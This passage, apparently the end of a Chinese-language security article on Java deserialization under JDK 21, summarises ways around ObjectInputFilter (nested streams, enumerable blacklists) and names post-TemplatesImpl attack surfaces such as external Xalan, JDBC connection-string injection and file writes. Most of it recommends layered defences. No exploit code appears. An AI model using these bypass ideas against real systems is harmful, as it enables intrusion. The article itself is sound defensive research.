-Djava.security.policy==/path/to/security.policy
单独依赖 ObjectInputFilter 是不够的——正如本文所展示的,嵌套流可以绕过它,黑名单可以被穷举,未覆盖的第三方库提供新的 Sink。
有效的防御是分层的:从消除入口(不反序列化不可信数据)到过滤策略(白名单而非黑名单),从依赖治理(移除危险库)到平台加固(保持模块封装),每一层都在缩小攻击面。
9. 总结
- JDK 21 的模块强封装使传统的
TemplatesImpl利用链失效,但反序列化攻击面并未消失 - 嵌套反序列化流逃逸是利用
ObjectInputFilter架构缺陷的有效绕过方式 - 黑名单过滤策略存在根本缺陷,应采用白名单作为默认策略
- Post-TemplatesImpl 时代的攻击面转移到:外部 Xalan 库、JDBC 连接串注入、文件写入等
- 有效的防御需要多层防护:白名单过滤 + 全局过滤器工厂 + 依赖治理 + 模块封装
- 最根本的解决方案是消除反序列化入口——使用 JSON、Protobuf 等不支持任意对象实例化的序列化格式替代 Java 原生序列化
免责声明:本文所有实验均在隔离的测试环境中完成,仅用于安全研究与技术交流。请勿将文中技术用于未授权的渗透测试。未经授权对他人系统进行渗透测试属于违法行为。